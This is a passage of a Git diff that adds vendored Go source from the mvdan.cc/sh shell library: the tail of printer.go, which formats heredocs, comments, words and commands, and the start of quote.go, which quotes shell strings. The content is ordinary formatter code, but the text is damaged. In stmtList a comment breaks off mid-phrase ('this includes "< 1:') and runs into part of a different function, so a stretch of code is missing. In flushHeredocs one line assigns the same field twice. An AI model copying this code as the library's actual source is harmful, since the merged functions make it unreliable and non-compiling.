+ hdocs := p.pendingHdocs
+ p.pendingHdocs = p.pendingHdocs[:0]
+ coms := p.pendingComments
+ p.pendingComments = nil
+ if len(coms) > 0 {
+ c := coms[0]
+ if c.Pos().Line() == p.line {
+ p.pendingComments = append(p.pendingComments, c)
+ p.flushComments()
+ coms = coms[1:]
+ }
+ }
+
+ // Reuse the last indentation level, as
+ // indentation levels are usually changed before
+ // newlines are printed along with their
+ // subsequent indentation characters.
+ newLevel := p.level
+ p.level = p.lastLevel
+
+ for _, r := range hdocs {
+ p.line++
+ p.WriteByte('\n')
+ p.wantSpace = spaceWritten
+ p.wantNewline, p.wantNewline = false, false
+ if r.Op == DashHdoc && p.indentSpaces == 0 && !p.minify {
+ if r.Hdoc != nil {
+ extra := extraIndenter{
+ bufWriter: p.bufWriter,
+ baseIndent: int(p.level + 1),
+ firstIndent: -1,
+ }
+ p.tabsPrinter = &Printer{
+ bufWriter: &extra,
+
+ // The options need to persist.
+ indentSpaces: p.indentSpaces,
+ binNextLine: p.binNextLine,
+ swtCaseIndent: p.swtCaseIndent,
+ spaceRedirects: p.spaceRedirects,
+ keepPadding: p.keepPadding,
+ minify: p.minify,
+ funcNextLine: p.funcNextLine,
+
+ line: r.Hdoc.Pos().Line(),
+ }
+ p.tabsPrinter.wordParts(r.Hdoc.Parts, true)
+ }
+ p.indent()
+ } else if r.Hdoc != nil {
+ p.wordParts(r.Hdoc.Parts, true)
+ }
+ p.unquotedWord(r.Word)
+ if r.Hdoc != nil {
+ // Overwrite p.line, since printing r.Word again can set
+ // p.line to the beginning of the heredoc again.
+ p.advanceLine(r.Hdoc.End().Line())
+ }
+ p.wantSpace = spaceNotRequired
+ }
+ p.level = newLevel
+ p.pendingComments = coms
+ p.mustNewline = true
+}
+
+// newline prints between zero and two newlines.
+// If any newlines are printed, it advances p.line to pos.Line().
+func (p *Printer) newlines(pos Pos) {
+ if p.firstLine && len(p.pendingComments) == 0 {
+ p.firstLine = false
+ return // no empty lines at the top
+ }
+ if !p.wantsNewline(pos, false) {
+ return
+ }
+ p.flushHeredocs()
+ p.flushComments()
+ p.WriteByte('\n')
+ p.wantSpace = spaceWritten
+ p.wantNewline, p.mustNewline = false, false
+
+ l := pos.Line()
+ if l > p.line+1 && !p.minify {
+ p.WriteByte('\n') // preserve single empty lines
+ }
+ p.advanceLine(l)
+ p.indent()
+}
+
+func (p *Printer) rightParen(pos Pos) {
+ if len(p.pendingHdocs) > 0 || !p.minify {
+ p.newlines(pos)
+ }
+ p.WriteByte(')')
+ p.wantSpace = spaceRequired
+}
+
+func (p *Printer) semiRsrv(s string, pos Pos) {
+ if p.wantsNewline(pos, false) {
+ p.newlines(pos)
+ } else {
+ if !p.wroteSemi {
+ p.WriteByte(';')
+ }
+ if !p.minify {
+ p.spacePad(pos)
+ }
+ }
+ p.WriteString(s)
+ p.wantSpace = spaceRequired
+}
+
+func (p *Printer) flushComments() {
+ for i, c := range p.pendingComments {
+ if i == 0 {
+ // Flush any pending heredocs first. Otherwise, the
+ // comments would become part of a heredoc body.
+ p.flushHeredocs()
+ }
+ p.firstLine = false
+ // We can't call any of the newline methods, as they call this
+ // function and we'd recurse forever.
+ cline := c.Hash.Line()
+ switch {
+ case p.mustNewline, i > 0, cline > p.line && p.line > 0:
+ p.WriteByte('\n')
+ if cline > p.line+1 {
+ p.WriteByte('\n')
+ }
+ p.indent()
+ p.wantSpace = spaceWritten
+ p.spacePad(c.Pos())
+ case p.wantSpace == spaceRequired:
+ if p.keepPadding {
+ p.spacePad(c.Pos())
+ } else {
+ p.WriteByte('\t')
+ }
+ case p.wantSpace != spaceWritten:
+ p.space()
+ }
+ // don't go back one line, which may happen in some edge cases
+ p.advanceLine(cline)
+ p.WriteByte('#')
+ p.writeLit(strings.TrimRightFunc(c.Text, unicode.IsSpace))
+ p.wantNewline = true
+ p.mustNewline = true
+ }
+ p.pendingComments = nil
+}
+
+func (p *Printer) comments(comments ...Comment) {
+ if p.minify {
+ for _, c := range comments {
+ if fileutil.Shebang([]byte("#"+c.Text)) != "" && c.Hash.Col() == 1 && c.Hash.Line() == 1 {
+ p.WriteString(strings.TrimRightFunc("#"+c.Text, unicode.IsSpace))
+ p.WriteString("\n")
+ p.line++
+ }
+ }
+ return
+ }
+ p.pendingComments = append(p.pendingComments, comments...)
+}
+
+func (p *Printer) wordParts(wps []WordPart, quoted bool) {
+ // We disallow unquoted escaped newlines between word parts below.
+ // However, we want to allow a leading escaped newline for cases such as:
+ //
+ // foo <<< \
+ // "bar baz"
+ if !quoted && !p.singleLine && wps[0].Pos().Line() > p.line {
+ p.bslashNewl()
+ }
+ for i, wp := range wps {
+ var next WordPart
+ if i+1 < len(wps) {
+ next = wps[i+1]
+ }
+ // Keep escaped newlines separating word parts when quoted.
+ // Note that those escaped newlines don't cause indentaiton.
+ // When not quoted, we strip them out consistently,
+ // because attempting to keep them would prevent indentation.
+ // Can't use p.wantsNewline here, since this is only about
+ // escaped newlines.
+ for quoted && !p.singleLine && wp.Pos().Line() > p.line {
+ p.WriteString("\\\n")
+ p.line++
+ }
+ p.wordPart(wp, next)
+ p.advanceLine(wp.End().Line())
+ }
+}
+
+func (p *Printer) wordPart(wp, next WordPart) {
+ switch x := wp.(type) {
+ case *Lit:
+ p.writeLit(x.Value)
+ case *SglQuoted:
+ if x.Dollar {
+ p.WriteByte('$')
+ }
+ p.WriteByte('\'')
+ p.writeLit(x.Value)
+ p.WriteByte('\'')
+ p.advanceLine(x.End().Line())
+ case *DblQuoted:
+ p.dblQuoted(x)
+ case *CmdSubst:
+ p.advanceLine(x.Pos().Line())
+ switch {
+ case x.TempFile:
+ p.WriteString("${")
+ p.wantSpace = spaceRequired
+ p.nestedStmts(x.Stmts, x.Last, x.Right)
+ p.wantSpace = spaceNotRequired
+ p.semiRsrv("}", x.Right)
+ case x.ReplyVar:
+ p.WriteString("${|")
+ p.nestedStmts(x.Stmts, x.Last, x.Right)
+ p.wantSpace = spaceNotRequired
+ p.semiRsrv("}", x.Right)
+ // Special case: `# inline comment`
+ case x.Backquotes && len(x.Stmts) == 0 &&
+ len(x.Last) == 1 && x.Right.Line() == p.line:
+ p.WriteString("`#")
+ p.WriteString(x.Last[0].Text)
+ p.WriteString("`")
+ default:
+ p.WriteString("$(")
+ if len(x.Stmts) > 0 && startsWithLparen(x.Stmts[0]) {
+ p.wantSpace = spaceRequired
+ } else {
+ p.wantSpace = spaceNotRequired
+ }
+ p.nestedStmts(x.Stmts, x.Last, x.Right)
+ p.rightParen(x.Right)
+ }
+ case *ParamExp:
+ litCont := ";"
+ if nextLit, ok := next.(*Lit); ok && nextLit.Value != "" {
+ litCont = nextLit.Value[:1]
+ }
+ name := x.Param.Value
+ switch {
+ case !p.minify:
+ case x.Excl, x.Length, x.Width:
+ case x.Index != nil, x.Slice != nil:
+ case x.Repl != nil, x.Exp != nil:
+ case len(name) > 1 && !ValidName(name): // ${10}
+ case ValidName(name + litCont): // ${var}cont
+ default:
+ x2 := *x
+ x2.Short = true
+ p.paramExp(&x2)
+ return
+ }
+ p.paramExp(x)
+ case *ArithmExp:
+ p.WriteString("$((")
+ if x.Unsigned {
+ p.WriteString("# ")
+ }
+ p.arithmExpr(x.X, false, false)
+ p.WriteString("))")
+ case *ExtGlob:
+ p.WriteString(x.Op.String())
+ p.writeLit(x.Pattern.Value)
+ p.WriteByte(')')
+ case *ProcSubst:
+ // avoid conflict with << and others
+ if p.wantSpace == spaceRequired {
+ p.space()
+ }
+ p.WriteString(x.Op.String())
+ p.nestedStmts(x.Stmts, x.Last, x.Rparen)
+ p.rightParen(x.Rparen)
+ }
+}
+
+func (p *Printer) dblQuoted(dq *DblQuoted) {
+ if dq.Dollar {
+ p.WriteByte('$')
+ }
+ p.WriteByte('"')
+ if len(dq.Parts) > 0 {
+ p.wordParts(dq.Parts, true)
+ }
+ // Add any trailing escaped newlines.
+ for p.line < dq.Right.Line() {
+ p.WriteString("\\\n")
+ p.line++
+ }
+ p.WriteByte('"')
+}
+
+func (p *Printer) wroteIndex(index ArithmExpr) bool {
+ if index == nil {
+ return false
+ }
+ p.WriteByte('[')
+ p.arithmExpr(index, false, false)
+ p.WriteByte(']')
+ return true
+}
+
+func (p *Printer) paramExp(pe *ParamExp) {
+ if pe.nakedIndex() { // arr[x]
+ p.writeLit(pe.Param.Value)
+ p.wroteIndex(pe.Index)
+ return
+ }
+ if pe.Short { // $var
+ p.WriteByte('$')
+ p.writeLit(pe.Param.Value)
+ return
+ }
+ // ${var...}
+ p.WriteString("${")
+ switch {
+ case pe.Length:
+ p.WriteByte('#')
+ case pe.Width:
+ p.WriteByte('%')
+ case pe.Excl:
+ p.WriteByte('!')
+ }
+ p.writeLit(pe.Param.Value)
+ p.wroteIndex(pe.Index)
+ switch {
+ case pe.Slice != nil:
+ p.WriteByte(':')
+ p.arithmExpr(pe.Slice.Offset, true, true)
+ if pe.Slice.Length != nil {
+ p.WriteByte(':')
+ p.arithmExpr(pe.Slice.Length, true, false)
+ }
+ case pe.Repl != nil:
+ if pe.Repl.All {
+ p.WriteByte('/')
+ }
+ p.WriteByte('/')
+ if pe.Repl.Orig != nil {
+ p.word(pe.Repl.Orig)
+ }
+ p.WriteByte('/')
+ if pe.Repl.With != nil {
+ p.word(pe.Repl.With)
+ }
+ case pe.Names != 0:
+ p.writeLit(pe.Names.String())
+ case pe.Exp != nil:
+ p.WriteString(pe.Exp.Op.String())
+ if pe.Exp.Word != nil {
+ p.word(pe.Exp.Word)
+ }
+ }
+ p.WriteByte('}')
+}
+
+func (p *Printer) loop(loop Loop) {
+ switch x := loop.(type) {
+ case *WordIter:
+ p.writeLit(x.Name.Value)
+ if x.InPos.IsValid() {
+ p.spacedString(" in", Pos{})
+ p.wordJoin(x.Items)
+ }
+ case *CStyleLoop:
+ p.WriteString("((")
+ if x.Init == nil {
+ p.space()
+ }
+ p.arithmExpr(x.Init, false, false)
+ p.WriteString("; ")
+ p.arithmExpr(x.Cond, false, false)
+ p.WriteString("; ")
+ p.arithmExpr(x.Post, false, false)
+ p.WriteString("))")
+ }
+}
+
+func (p *Printer) arithmExpr(expr ArithmExpr, compact, spacePlusMinus bool) {
+ if p.minify {
+ compact = true
+ }
+ switch x := expr.(type) {
+ case *Word:
+ p.word(x)
+ case *BinaryArithm:
+ if compact {
+ p.arithmExpr(x.X, compact, spacePlusMinus)
+ p.WriteString(x.Op.String())
+ p.arithmExpr(x.Y, compact, false)
+ } else {
+ p.arithmExpr(x.X, compact, spacePlusMinus)
+ if x.Op != Comma {
+ p.space()
+ }
+ p.WriteString(x.Op.String())
+ p.space()
+ p.arithmExpr(x.Y, compact, false)
+ }
+ case *UnaryArithm:
+ if x.Post {
+ p.arithmExpr(x.X, compact, spacePlusMinus)
+ p.WriteString(x.Op.String())
+ } else {
+ if spacePlusMinus {
+ switch x.Op {
+ case Plus, Minus:
+ p.space()
+ }
+ }
+ p.WriteString(x.Op.String())
+ p.arithmExpr(x.X, compact, false)
+ }
+ case *ParenArithm:
+ p.WriteByte('(')
+ p.arithmExpr(x.X, false, false)
+ p.WriteByte(')')
+ }
+}
+
+func (p *Printer) testExpr(expr TestExpr) {
+ // Multi-line test expressions don't need to escape newlines.
+ if expr.Pos().Line() > p.line {
+ p.newlines(expr.Pos())
+ p.spacePad(expr.Pos())
+ } else if p.wantSpace == spaceRequired {
+ p.space()
+ }
+ p.testExprSameLine(expr)
+}
+
+func (p *Printer) testExprSameLine(expr TestExpr) {
+ p.advanceLine(expr.Pos().Line())
+ switch x := expr.(type) {
+ case *Word:
+ p.word(x)
+ case *BinaryTest:
+ p.testExprSameLine(x.X)
+ p.space()
+ p.WriteString(x.Op.String())
+ switch x.Op {
+ case AndTest, OrTest:
+ p.wantSpace = spaceRequired
+ p.testExpr(x.Y)
+ default:
+ p.space()
+ p.testExprSameLine(x.Y)
+ }
+ case *UnaryTest:
+ p.WriteString(x.Op.String())
+ p.space()
+ p.testExprSameLine(x.X)
+ case *ParenTest:
+ p.WriteByte('(')
+ if startsWithLparen(x.X) {
+ p.wantSpace = spaceRequired
+ } else {
+ p.wantSpace = spaceNotRequired
+ }
+ p.testExpr(x.X)
+ p.WriteByte(')')
+ }
+}
+
+func (p *Printer) word(w *Word) {
+ p.wordParts(w.Parts, false)
+ p.wantSpace = spaceRequired
+}
+
+func (p *Printer) unquotedWord(w *Word) {
+ for _, wp := range w.Parts {
+ switch x := wp.(type) {
+ case *SglQuoted:
+ p.writeLit(x.Value)
+ case *DblQuoted:
+ p.wordParts(x.Parts, true)
+ case *Lit:
+ for i := 0; i < len(x.Value); i++ {
+ if b := x.Value[i]; b == '\\' {
+ if i++; i < len(x.Value) {
+ p.WriteByte(x.Value[i])
+ }
+ } else {
+ p.WriteByte(b)
+ }
+ }
+ }
+ }
+}
+
+func (p *Printer) wordJoin(ws []*Word) {
+ anyNewline := false
+ for _, w := range ws {
+ if pos := w.Pos(); pos.Line() > p.line && !p.singleLine {
+ if !anyNewline {
+ p.incLevel()
+ anyNewline = true
+ }
+ p.bslashNewl()
+ }
+ p.spacePad(w.Pos())
+ p.word(w)
+ }
+ if anyNewline {
+ p.decLevel()
+ }
+}
+
+func (p *Printer) casePatternJoin(pats []*Word) {
+ anyNewline := false
+ for i, w := range pats {
+ if i > 0 {
+ p.spacedToken("|", Pos{})
+ }
+ if p.wantsNewline(w.Pos(), true) {
+ if !anyNewline {
+ p.incLevel()
+ anyNewline = true
+ }
+ p.bslashNewl()
+ } else {
+ p.spacePad(w.Pos())
+ }
+ p.word(w)
+ }
+ if anyNewline {
+ p.decLevel()
+ }
+}
+
+func (p *Printer) elemJoin(elems []*ArrayElem, last []Comment) {
+ p.incLevel()
+ for _, el := range elems {
+ var left []Comment
+ for _, c := range el.Comments {
+ if c.Pos().After(el.Pos()) {
+ left = append(left, c)
+ break
+ }
+ p.comments(c)
+ }
+ // Multi-line array expressions don't need to escape newlines.
+ if el.Pos().Line() > p.line {
+ p.newlines(el.Pos())
+ p.spacePad(el.Pos())
+ } else if p.wantSpace == spaceRequired {
+ p.space()
+ }
+ if p.wroteIndex(el.Index) {
+ p.WriteByte('=')
+ }
+ if el.Value != nil {
+ p.word(el.Value)
+ }
+ p.comments(left...)
+ }
+ if len(last) > 0 {
+ p.comments(last...)
+ p.flushComments()
+ }
+ p.decLevel()
+}
+
+func (p *Printer) stmt(s *Stmt) {
+ p.wroteSemi = false
+ if s.Negated {
+ p.spacedString("!", s.Pos())
+ }
+ var startRedirs int
+ if s.Cmd != nil {
+ startRedirs = p.command(s.Cmd, s.Redirs)
+ }
+ p.incLevel()
+ for _, r := range s.Redirs[startRedirs:] {
+ if p.wantsNewline(r.OpPos, true) {
+ p.bslashNewl()
+ }
+ if p.wantSpace == spaceRequired {
+ p.spacePad(r.Pos())
+ }
+ if r.N != nil {
+ p.writeLit(r.N.Value)
+ }
+ p.WriteString(r.Op.String())
+ if p.spaceRedirects && (r.Op != DplIn && r.Op != DplOut) {
+ p.space()
+ } else {
+ p.wantSpace = spaceRequired
+ }
+ p.word(r.Word)
+ if r.Op == Hdoc || r.Op == DashHdoc {
+ p.pendingHdocs = append(p.pendingHdocs, r)
+ }
+ }
+ sep := s.Semicolon.IsValid() && s.Semicolon.Line() > p.line && !p.singleLine
+ if sep || s.Background || s.Coprocess {
+ if sep {
+ p.bslashNewl()
+ } else if !p.minify {
+ p.space()
+ }
+ if s.Background {
+ p.WriteString("&")
+ } else if s.Coprocess {
+ p.WriteString("|&")
+ } else {
+ p.WriteString(";")
+ }
+ p.wroteSemi = true
+ p.wantSpace = spaceRequired
+ }
+ p.decLevel()
+}
+
+func (p *Printer) command(cmd Command, redirs []*Redirect) (startRedirs int) {
+ p.advanceLine(cmd.Pos().Line())
+ p.spacePad(cmd.Pos())
+ switch x := cmd.(type) {
+ case *CallExpr:
+ p.assigns(x.Assigns)
+ if len(x.Args) <= 1 {
+ p.wordJoin(x.Args)
+ return 0
+ }
+ p.wordJoin(x.Args[:1])
+ for _, r := range redirs {
+ if r.Pos().After(x.Args[1].Pos()) || r.Op == Hdoc || r.Op == DashHdoc {
+ break
+ }
+ if p.wantSpace == spaceRequired {
+ p.spacePad(r.Pos())
+ }
+ if r.N != nil {
+ p.writeLit(r.N.Value)
+ }
+ p.WriteString(r.Op.String())
+ if p.spaceRedirects && (r.Op != DplIn && r.Op != DplOut) {
+ p.space()
+ } else {
+ p.wantSpace = spaceRequired
+ }
+ p.word(r.Word)
+ startRedirs++
+ }
+ p.wordJoin(x.Args[1:])
+ case *Block:
+ p.WriteByte('{')
+ p.wantSpace = spaceRequired
+ // Forbid "foo()\n{ bar; }"
+ p.wantNewline = p.wantNewline || p.funcNextLine
+ p.nestedStmts(x.Stmts, x.Last, x.Rbrace)
+ p.semiRsrv("}", x.Rbrace)
+ case *IfClause:
+ p.ifClause(x, false)
+ case *Subshell:
+ p.WriteByte('(')
+ stmts := x.Stmts
+ if len(stmts) > 0 && startsWithLparen(stmts[0]) {
+ p.wantSpace = spaceRequired
+ // Add a space between nested parentheses if we're printing them in a single line,
+ // to avoid the ambiguity between `((` and `( (`.
+ if (x.Lparen.Line() != stmts[0].Pos().Line() || len(stmts) > 1) && !p.singleLine {
+ p.wantSpace = spaceNotRequired
+
+ if p.minify {
+ p.mustNewline = true
+ }
+ }
+ } else {
+ p.wantSpace = spaceNotRequired
+ }
+
+ p.spacePad(stmtsPos(x.Stmts, x.Last))
+ p.nestedStmts(x.Stmts, x.Last, x.Rparen)
+ p.wantSpace = spaceNotRequired
+ p.spacePad(x.Rparen)
+ p.rightParen(x.Rparen)
+ case *WhileClause:
+ if x.Until {
+ p.spacedString("until", x.Pos())
+ } else {
+ p.spacedString("while", x.Pos())
+ }
+ p.nestedStmts(x.Cond, x.CondLast, Pos{})
+ p.semiOrNewl("do", x.DoPos)
+ p.nestedStmts(x.Do, x.DoLast, x.DonePos)
+ p.semiRsrv("done", x.DonePos)
+ case *ForClause:
+ if x.Select {
+ p.WriteString("select ")
+ } else {
+ p.WriteString("for ")
+ }
+ p.loop(x.Loop)
+ p.semiOrNewl("do", x.DoPos)
+ p.nestedStmts(x.Do, x.DoLast, x.DonePos)
+ p.semiRsrv("done", x.DonePos)
+ case *BinaryCmd:
+ p.stmt(x.X)
+ if p.minify || p.singleLine || x.Y.Pos().Line() <= p.line {
+ // leave p.nestedBinary untouched
+ p.spacedToken(x.Op.String(), x.OpPos)
+ p.advanceLine(x.Y.Pos().Line())
+ p.stmt(x.Y)
+ break
+ }
+ indent := !p.nestedBinary
+ if indent {
+ p.incLevel()
+ }
+ if p.binNextLine {
+ if len(p.pendingHdocs) == 0 {
+ p.bslashNewl()
+ }
+ p.spacedToken(x.Op.String(), x.OpPos)
+ if len(x.Y.Comments) > 0 {
+ p.wantSpace = spaceNotRequired
+ p.newline(x.Y.Pos())
+ p.indent()
+ p.comments(x.Y.Comments...)
+ p.newline(Pos{})
+ p.indent()
+ }
+ } else {
+ p.spacedToken(x.Op.String(), x.OpPos)
+ p.advanceLine(x.OpPos.Line())
+ p.comments(x.Y.Comments...)
+ p.newline(Pos{})
+ p.indent()
+ }
+ p.advanceLine(x.Y.Pos().Line())
+ _, p.nestedBinary = x.Y.Cmd.(*BinaryCmd)
+ p.stmt(x.Y)
+ if indent {
+ p.decLevel()
+ }
+ p.nestedBinary = false
+ case *FuncDecl:
+ if x.RsrvWord {
+ p.WriteString("function ")
+ }
+ p.writeLit(x.Name.Value)
+ if !x.RsrvWord || x.Parens {
+ p.WriteString("()")
+ }
+ if p.funcNextLine {
+ p.newline(Pos{})
+ p.indent()
+ } else if !x.Parens || !p.minify {
+ p.space()
+ }
+ p.advanceLine(x.Body.Pos().Line())
+ p.comments(x.Body.Comments...)
+ p.stmt(x.Body)
+ case *CaseClause:
+ p.WriteString("case ")
+ p.word(x.Word)
+ p.WriteString(" in")
+ p.advanceLine(x.In.Line())
+ p.wantSpace = spaceRequired
+ if p.swtCaseIndent {
+ p.incLevel()
+ }
+ if len(x.Items) == 0 {
+ // Apparently "case x in; esac" is invalid shell.
+ p.mustNewline = true
+ }
+ for i, ci := range x.Items {
+ var last []Comment
+ for i, c := range ci.Comments {
+ if c.Pos().After(ci.Pos()) {
+ last = ci.Comments[i:]
+ break
+ }
+ p.comments(c)
+ }
+ p.newlines(ci.Pos())
+ p.spacePad(ci.Pos())
+ p.casePatternJoin(ci.Patterns)
+ p.WriteByte(')')
+ if !p.minify {
+ p.wantSpace = spaceRequired
+ } else {
+ p.wantSpace = spaceNotRequired
+ }
+
+ bodyPos := stmtsPos(ci.Stmts, ci.Last)
+ bodyEnd := stmtsEnd(ci.Stmts, ci.Last)
+ sep := len(ci.Stmts) > 1 || bodyPos.Line() > p.line ||
+ (bodyEnd.IsValid() && ci.OpPos.Line() > bodyEnd.Line())
+ p.nestedStmts(ci.Stmts, ci.Last, ci.OpPos)
+ p.level++
+ if !p.minify || i != len(x.Items)-1 {
+ if sep {
+ p.newlines(ci.OpPos)
+ p.wantNewline = true
+ }
+ p.spacedToken(ci.Op.String(), ci.OpPos)
+ p.advanceLine(ci.OpPos.Line())
+ // avoid ; directly after tokens like ;;
+ p.wroteSemi = true
+ }
+ p.comments(last...)
+ p.flushComments()
+ p.level--
+ }
+ p.comments(x.Last...)
+ if p.swtCaseIndent {
+ p.flushComments()
+ p.decLevel()
+ }
+ p.semiRsrv("esac", x.Esac)
+ case *ArithmCmd:
+ p.WriteString("((")
+ if x.Unsigned {
+ p.WriteString("# ")
+ }
+ p.arithmExpr(x.X, false, false)
+ p.WriteString("))")
+ case *TestClause:
+ p.WriteString("[[ ")
+ p.incLevel()
+ p.testExpr(x.X)
+ p.decLevel()
+ p.spacedString("]]", x.Right)
+ case *DeclClause:
+ p.spacedString(x.Variant.Value, x.Pos())
+ p.assigns(x.Args)
+ case *TimeClause:
+ p.spacedString("time", x.Pos())
+ if x.PosixFormat {
+ p.spacedString("-p", x.Pos())
+ }
+ if x.Stmt != nil {
+ p.stmt(x.Stmt)
+ }
+ case *CoprocClause:
+ p.spacedString("coproc", x.Pos())
+ if x.Name != nil {
+ p.space()
+ p.word(x.Name)
+ }
+ p.space()
+ p.stmt(x.Stmt)
+ case *LetClause:
+ p.spacedString("let", x.Pos())
+ for _, n := range x.Exprs {
+ p.space()
+ p.arithmExpr(n, true, false)
+ }
+ case *TestDecl:
+ p.spacedString("@test", x.Pos())
+ p.space()
+ p.word(x.Description)
+ p.space()
+ p.stmt(x.Body)
+ default:
+ panic(fmt.Sprintf("syntax.Printer: unexpected node type %T", x))
+ }
+ return startRedirs
+}
+
+func (p *Printer) ifClause(ic *IfClause, elif bool) {
+ if !elif {
+ p.spacedString("if", ic.Pos())
+ }
+ p.nestedStmts(ic.Cond, ic.CondLast, Pos{})
+ p.semiOrNewl("then", ic.ThenPos)
+ thenEnd := ic.FiPos
+ el := ic.Else
+ if el != nil {
+ thenEnd = el.Position
+ }
+ p.nestedStmts(ic.Then, ic.ThenLast, thenEnd)
+
+ if el != nil && el.ThenPos.IsValid() {
+ p.comments(ic.Last...)
+ p.semiRsrv("elif", el.Position)
+ p.ifClause(el, true)
+ return
+ }
+ if el == nil {
+ p.comments(ic.Last...)
+ } else {
+ var left []Comment
+ for _, c := range ic.Last {
+ if c.Pos().After(el.Position) {
+ left = append(left, c)
+ break
+ }
+ p.comments(c)
+ }
+ p.semiRsrv("else", el.Position)
+ p.comments(left...)
+ p.nestedStmts(el.Then, el.ThenLast, ic.FiPos)
+ p.comments(el.Last...)
+ }
+ p.semiRsrv("fi", ic.FiPos)
+}
+
+func (p *Printer) stmtList(stmts []*Stmt, last []Comment) {
+ sep := p.wantNewline || (len(stmts) > 0 && stmts[0].Pos().Line() > p.line)
+ for i, s := range stmts {
+ if i > 0 && p.singleLine && p.wantNewline && !p.wroteSemi {
+ // In singleLine mode, ensure we use semicolons between
+ // statements.
+ p.WriteByte(';')
+ p.wantSpace = spaceRequired
+ }
+ pos := s.Pos()
+ var midComs, endComs []Comment
+ for _, c := range s.Comments {
+ // Comments after the end of this command. Note that
+ // this includes "< 1:
+ // Force a newline if we find:
+ // { stmt; stmt; }
+ p.wantNewline = true
+ case closing.Line() > p.line && len(stmts) > 0 &&
+ stmtsEnd(stmts, last).Line() < closing.Line():
+ // Force a newline if we find:
+ // { stmt
+ // }
+ p.wantNewline = true
+ case len(p.pendingComments) > 0 && len(stmts) > 0:
+ // Force a newline if we find:
+ // for i in a b # stmt
+ // do foo; done
+ p.wantNewline = true
+ }
+ p.stmtList(stmts, last)
+ if closing.IsValid() {
+ p.flushComments()
+ }
+ p.decLevel()
+}
+
+func (p *Printer) assigns(assigns []*Assign) {
+ p.incLevel()
+ for _, a := range assigns {
+ if p.wantsNewline(a.Pos(), true) {
+ p.bslashNewl()
+ } else {
+ p.spacePad(a.Pos())
+ }
+ if a.Name != nil {
+ p.writeLit(a.Name.Value)
+ p.wroteIndex(a.Index)
+ if a.Append {
+ p.WriteByte('+')
+ }
+ if !a.Naked {
+ p.WriteByte('=')
+ }
+ }
+ if a.Value != nil {
+ // Ensure we don't use an escaped newline after '=',
+ // because that can result in indentation, thus
+ // splitting "foo=bar" into "foo= bar".
+ p.advanceLine(a.Value.Pos().Line())
+ p.word(a.Value)
+ } else if a.Array != nil {
+ p.wantSpace = spaceNotRequired
+ p.WriteByte('(')
+ p.elemJoin(a.Array.Elems, a.Array.Last)
+ p.rightParen(a.Array.Rparen)
+ }
+ p.wantSpace = spaceRequired
+ }
+ p.decLevel()
+}
+
+type wantSpaceState uint8
+
+const (
+ spaceNotRequired wantSpaceState = iota
+ spaceRequired // we should generally print a space or a newline next
+ spaceWritten // we have just written a space or newline
+)
+
+// extraIndenter ensures that all lines in a '<<-' heredoc body have at least
+// baseIndent leading tabs. Those that had more tab indentation than the first
+// heredoc line will keep that relative indentation.
+type extraIndenter struct {
+ bufWriter
+ baseIndent int
+
+ firstIndent int
+ firstChange int
+ curLine []byte
+}
+
+func (e *extraIndenter) WriteByte(b byte) error {
+ e.curLine = append(e.curLine, b)
+ if b != '\n' {
+ return nil
+ }
+ trimmed := bytes.TrimLeft(e.curLine, "\t")
+ if len(trimmed) == 1 {
+ // no tabs if this is an empty line, i.e. "\n"
+ e.bufWriter.Write(trimmed)
+ e.curLine = e.curLine[:0]
+ return nil
+ }
+
+ lineIndent := len(e.curLine) - len(trimmed)
+ if e.firstIndent < 0 {
+ // This is the first heredoc line we add extra indentation to.
+ // Keep track of how much we indented.
+ e.firstIndent = lineIndent
+ e.firstChange = e.baseIndent - lineIndent
+ lineIndent = e.baseIndent
+
+ } else if lineIndent < e.firstIndent {
+ // This line did not have enough indentation; simply indent it
+ // like the first line.
+ lineIndent = e.firstIndent
+ } else {
+ // This line had plenty of indentation. Add the extra
+ // indentation that the first line had, for consistency.
+ lineIndent += e.firstChange
+ }
+ e.bufWriter.WriteByte(tabwriter.Escape)
+ for i := 0; i < lineIndent; i++ {
+ e.bufWriter.WriteByte('\t')
+ }
+ e.bufWriter.WriteByte(tabwriter.Escape)
+ e.bufWriter.Write(trimmed)
+ e.curLine = e.curLine[:0]
+ return nil
+}
+
+func (e *extraIndenter) WriteString(s string) (int, error) {
+ for i := 0; i < len(s); i++ {
+ e.WriteByte(s[i])
+ }
+ return len(s), nil
+}
+
+func startsWithLparen(node Node) bool {
+ switch node := node.(type) {
+ case *Stmt:
+ return startsWithLparen(node.Cmd)
+ case *BinaryCmd:
+ return startsWithLparen(node.X)
+ case *Subshell:
+ return true // keep ( (
+ case *ArithmCmd:
+ return true // keep ( ((
+ }
+ return false
+}
diff --git a/vendor/mvdan.cc/sh/v3/syntax/quote.go b/vendor/mvdan.cc/sh/v3/syntax/quote.go
new file mode 100644
index 0000000000..6f27eba12d
--- /dev/null
+++ b/vendor/mvdan.cc/sh/v3/syntax/quote.go
@@ -0,0 +1,185 @@
+// Copyright (c) 2021, Daniel Martí
+// See LICENSE for licensing information
+
+package syntax
+
+import (
+ "fmt"
+ "strings"
+ "unicode"
+ "unicode/utf8"
+)
+
+type QuoteError struct {
+ ByteOffset int
+ Message string
+}
+
+func (e QuoteError) Error() string {
+ return fmt.Sprintf("cannot quote character at byte %d: %s", e.ByteOffset, e.Message)
+}
+
+const (
+ quoteErrNull = "shell strings cannot contain null bytes"
+ quoteErrPOSIX = "POSIX shell lacks escape sequences"
+ quoteErrRange = "rune out of range"
+ quoteErrMksh = "mksh cannot escape codepoints above 16 bits"
+)
+
+// Quote returns a quoted version of the input string,
+// so that the quoted version is expanded or interpreted
+// as the original string in the given language variant.
+//
+// Quoting is necessary when using arbitrary literal strings
+// as words in a shell script or command.
+// Without quoting, one can run into syntax errors,
+// as well as the possibility of running unintended code.
+//
+// An error is returned when a string cannot be quoted for a variant.
+// For instance, POSIX lacks escape sequences for non-printable characters,
+// and no language variant can represent a string containing null bytes.
+// In such cases, the returned error type will be *QuoteError.
+//
+// The quoting strategy is chosen on a best-effort basis,
+// to minimize the amount of extra bytes necessary.
+//
+// Some strings do not require any quoting and are returned unchanged.
+// Those strings can be directly surrounded in single quotes as well.
+func Quote(s string, lang LangVariant) (string, error) {
+ if s == "" {
+ // Special case; an empty string must always be quoted,
+ // as otherwise it expands to zero fields.
+ return "''", nil
+ }
+ shellChars := false
+ nonPrintable := false
+ offs := 0
+ for rem := s; len(rem) > 0; {
+ r, size := utf8.DecodeRuneInString(rem)
+ switch r {
+ // Like regOps; token characters.
+ case ';', '"', '\'', '(', ')', '$', '|', '&', '>', '<', '`',
+ // Whitespace; might result in multiple fields.
+ ' ', '\t', '\r', '\n',
+ // Escape sequences would be expanded.
+ '\\',
+ // Would start a comment unless quoted.
+ '#',
+ // Might result in brace expansion.
+ '{',
